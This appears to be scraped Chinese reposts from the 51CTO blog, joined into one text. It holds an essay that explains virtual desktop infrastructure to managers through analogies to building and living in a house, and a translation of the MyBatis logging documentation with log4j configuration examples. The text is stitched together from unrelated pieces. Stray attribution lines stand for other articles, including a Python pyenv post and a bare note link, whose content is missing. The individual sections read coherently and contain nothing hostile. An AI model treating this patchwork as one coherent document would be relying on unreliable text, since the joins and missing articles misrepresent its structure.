版权声明:原创作品,如需转载,请注明出处。否则将追究法律责任 开发环境Pythonpyenv本文转自 bigstone2012 51CTO博客,原文链接:http://blog.51cto.com/lavenliu/1836500
在这些时间里,源于本人涉及的虚拟桌面比较多,用户也有不同的要求、顾虑,有时用太专业的词也不是太好与用户沟通(特别是上了年龄的领导),不过,也不能说对方不懂,毕竟隔代、带勾,年代不一样,再者又是领导。,于是,想了想有没有用生活中的一些事来慢慢与领导沟通。行不行?关键还得看你说的好与不好,到不到位了。以下仅代表个人观点!其内容还有待完善。 楼房---设计:整栋楼结构的设计,即要实用又要美观,而还要通风、有阳光。并且可以满足不同户主想要的不同户型及格局。(两房一厅一、三房一厅、四房两厅、普通型、复式型......)当然,还要有整体的效果图,让用户能感受上他们以后楼房的大体模样。 虚拟桌面--设计 要满足不同桌面用户,普通办公型、设计型、移动型、是Windows XP,还是Windows 7。不论是什么需求,都需要针对产品所能及的功能,为用户设计一愿景及一蓝图。能让用户可以想象的空间及内容。 楼房--打地基: 俗话说:"万丈高楼平地起",要盖楼?要盖多高的楼?第一步最重要的是地基是否牢固。1米地基可盖2层楼,3米地基可盖5层楼............地基所用料也很重要,否则,如下: 虚拟桌面---虚拟架构也一样需要考虑地基的问题?就是你准备把虚拟桌面构建在什么们的地基上?(您的蛋鸡放在哪个篮子里)市场可选:VMware vSphere、XenServer、Hyper-V,在此,不谈论哪个产品的好与坏,但是要提醒用户要给自己虚拟桌面选择一稳定的产品,不论如何?至少他不容易倒。不然下次的“亚马逊EC2中断事件”就会改成“XXX企业中断事件”了,股票大跌。当然,也不一定是产品本身的问题,可能是架构设计的问题。比如人为的偷工减料。 虽然,蓝屏不是最可怕的,但肯定是让用户最上火的。 楼房---施工: 要求质量,又要求速度,还要节省成本,难!!!所以,才会出现如今这么多的房屋质量问题,新楼还没等人入住,就变也了危楼。 虚拟桌面---创建保证了质量,又保证了建立速度(数分钟可以创建成100上1000的虚拟桌面),成本节省是肯定的。楼房----水、电、气供应: 物业公司统一进行交付提供,在房间按一表,用多少,付多少钱,很方便。但某户主出现故障时维护起来不方便,必须亲自去一趟。维护成本太高。一小区3-5人维护,估计还忙得没日没夜。 虚拟桌面---交付供应 数据中心统一进行按需交付,不同用户类型可以交付不同桌面,很方便,桌面出现故障时,不需要亲自去用户端维护,直接在数据中心维护即可,维护成本降低。一个数据中心1-2人即可,并且可以整天泡茶、看报。 楼房---风格 户主按照自己的喜欢风格、格调进行装饰,墙的颜色、灯光、吊顶..... 虚拟桌面--风格 用户的桌面一般都会进行自己调整,比如自己喜欢的壁纸、菜单、按钮、图标......... 楼房----门、窗口 是出入的通道,也是与外界的沟通的必经之路,不能有拥堵。否则,买了大的床也入不门,平时走路也会碰壁。 虚拟桌面----接口U盘、打印机、扫描议、COM设备、智能卡、一个都不能少,不能出现兼容性问题。 楼房----移动性: 哪是酒店吧(check in/check out)经常在外出差的人,不可能把楼房像蜗牛一样背在背上。只能选择酒店,要不就弄一房车(貌似出游时比较方便)。 虚拟桌面---移动性: 用户可以把自己办公室的虚拟桌面转移到自己的笔记本上,如果你觉得太麻烦,你就带上你的iPad2。 楼房----安全: 物业雇来了保安,其实,针对真正的小偷,往往起不了什么大的作用,因为小区有可能就内鬼,家里的锁才是最可依赖的实体。 虚拟桌面----安全也不能单单依靠企业防火墙与IDS、IPS,因为真正的窃取者是可以照小路或是企业内部人员,所以,把虚拟桌面数据锁在内部数据中心才是最保险的。 楼房----自然灾害:地震,火山,洪水.....吞噬了我们美好的家园。所有家当成为泡影。唯一可以想的到解决方案,就是在各地多买几套房,貌似像爆发富一样,或是你是一贪官。 虚拟桌面---自然灾难 主数据中心虚拟桌面受到灾难,用户可直接切换到备用数据中心虚拟桌面,后端数据的同步,可以把数据遗失降至最低,快递恢复正常工作。 楼房---售后服务 现在国家出台了若干政策,以打压房价。物业税貌似也要加上,所以以后的物业费也不可忽视。钱归钱,至少给了钱,物业会管你,会帮你办事。 虚拟桌面---售后服务 虚拟桌面服务商也得归用户,要服务好用户,支持大量的支持,特别是原厂商的支持是最有力量的。拿人钱财得替人免灾! 本文转自 zhxhua 51CTO博客,原文链接:http://blog.51cto.com/virtualtop/560290 ,如需转载请自行联系原作者
Logging MyBatis通过内部的日志工厂提供日志信息。内部的日志工厂委托下列之一的日志工具来具体实现日志: SLF4J Apache Commons Logging Log4j 2 Log4j JDK logging 具体使用哪个日志工具是由Log Factory在运行时决定的。MyBatis log factory把他找到 第一个日志工具作为它的日志实现(查找的顺序就是上面列出的顺序)。如果MyBatis一个都没有找到,那么MyBatis的日志输出将不可用。 许多环境把Commons Logging作为应用服务器类路径的一部分(典型的例子是Tomcat和WebSphere)。在这种环境中,MyBatis使用Commons Logging作为日志实现。在像WebSphere这种环境下,你的Log4j配置将被忽略,因为它自己提供了Commons Logging的实现。这是非常令人沮丧的,因为MyBatis忽略了你的Log4j配置(事实上,MyBatis忽略你的Log4j配置是因为在这样的环境下它使用Commons Logging)。如果你的应用程序运行在classpath已经包含Commons Logging的环境下,而你又想用其它的日志实现,这种情况下,你可以在mybatis-config.xml中添加如下配置已选择一个不同的日志实现: <configuration> <settings> ... <setting name="logImpl" value="LOG4J"/> ... </settings> </configuration> logImpl属性的有效值是SLF4J, LOG4J, LOG4J2, JDK_LOGGING, COMMONS_LOGGING, STDOUT_LOGGING, NO_LOGGING或者是一个实现了org.apache.ibatis.logging.Log接口并且提供一个字符串作为形参的构造方法的的类的完全限定名。 当然,你也可以选择实现下列方法: org.apache.ibatis.logging.LogFactory.useSlf4jLogging(); org.apache.ibatis.logging.LogFactory.useLog4JLogging(); org.apache.ibatis.logging.LogFactory.useLog4J2Logging(); org.apache.ibatis.logging.LogFactory.useJdkLogging(); org.apache.ibatis.logging.LogFactory.useCommonsLogging(); org.apache.ibatis.logging.LogFactory.useStdOutLogging(); 这些方法只是用于切换请求日志的具体实现,前提是这些实现在classpath中都是可用的。比如,你选择Log4j,但是Log4j在运行时不可用,那么MyBatis将忽略到Log4j的日志请求,然后按照正常的逻辑重新选择日志实现。 SLF4J, Apache Commons Logging, Apache Log4J and the JDK Logging这些API的使用不在本文档的讲解范围内,但是下面有一个例子来讲解如何使用。如果你想更多的了解这些日志框架,你可以从下列地址得到更多信息: SLF4J Apache Commons Logging Apache Log4j 1.x and 2.x JDK Logging API Logging Configuration 为了查看MyBatis的日志语句,你能够将日志打在一个包、一个mapper的完全限定类名、一个命名空间或者一个完全限定的语句名。 下面我们将展示怎样用Log4j来实现。配置日志是一件很简单的事情,只需引入一个或多个配置文件(比如:log4j.properties)和一些Jar包(比如:log4j.jar)即可。下面的示例配置就展示了如何使用log4j来作为日志服务,这在第2步。 Step 1: Add the Log4J JAR file 因为要使用Log4j,所以我们必须确保jar包在我们的应用程序中是可用的,为了使用Log4j,你需要添加jar文件到你的应用程序classpath中。 Step 2: Configure Log4J 配置log4j是很简单的,假如你希望日志对于下面这个Mapper是可用的: package org.mybatis.example;public interface BlogMapper { @Select("SELECT * FROM blog WHERE id = #{id}") Blog selectBlog(int id); } 在classpath中创建一个名字叫log4j.properties的文件: # Global logging configuration log4j.rootLogger=ERROR, stdout # MyBatis logging configuration... log4j.logger.org.mybatis.example.BlogMapper=TRACE # Console output... log4j.appender.stdout=org.apache.log4j.ConsoleAppender log4j.appender.stdout.layout=org.apache.log4j.PatternLayout log4j.appender.stdout.layout.ConversionPattern=%5p [%t] - %m%n 上面这段配置将导致log4j报告org.mybatis.example.BlogMapper的详细日志和应用程序中其它类中ERROR级别的日志。 如果你只想查看特定的语句的日志,而不是整个Mapper文件,那么你只需要这样配置: log4j.logger.org.mybatis.example.BlogMapper.selectBlog=TRACE 相反,你可能想要记录所以Mapper的日志,那么你需要这样配置: log4j.logger.org.mybatis.example=TRACE 这里有个问题,这样配置的话中会有大量的结果集包含在日志中,而事实上你可能只是想看SQL语句而不是返回的结果集。出于这样的考虑,SQL语句的日志级别是DEBUG,而结果集的日志级别是TRACE,所以万一你只想看SQL语句而不关心结果集的话,你可以将级别设置诶DEBUG。 log4j.logger.org.mybatis.example=DEBUG 但是,如果你不是用mapper接口,而是用mapper xml文件呢?就像下面这样: <?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" " <mapper namespace="org.mybatis.example.BlogMapper"> <select id="selectBlog" resultType="Blog"> select * from Blog where id = #{id} </select> </mapper> 这种情况下,你可以在命名空间上添加一个logger来记录整个xml的日志了 log4j.logger.org.mybatis.example.BlogMapper=TRACE 或者是某个特定的SQL语句 log4j.logger.org.mybatis.example.BlogMapper.selectBlog=TRACE 是的,正如你看到的那样,在mapper接口和在mapper xml文件上配置日志是没有区别的。 原文:http://www.mybatis.org/mybatis-3/logging.html 本文转自 手不要乱摸 51CTO博客,原文链接:http://blog.51cto.com/5880861/1750493
本文转自 手不要乱摸 51CTO博客,原文链接:http://blog.51cto.com/5880861/1812136
http://note.youdao.com/noteshare?id=d08a1c014778b62d4cb92a1a569fa76a 本文转自 新网学会 51CTO博客,原文链接:http://blog.51cto.com/xwxhvip/1979744 ,如需转载请自行联系原作者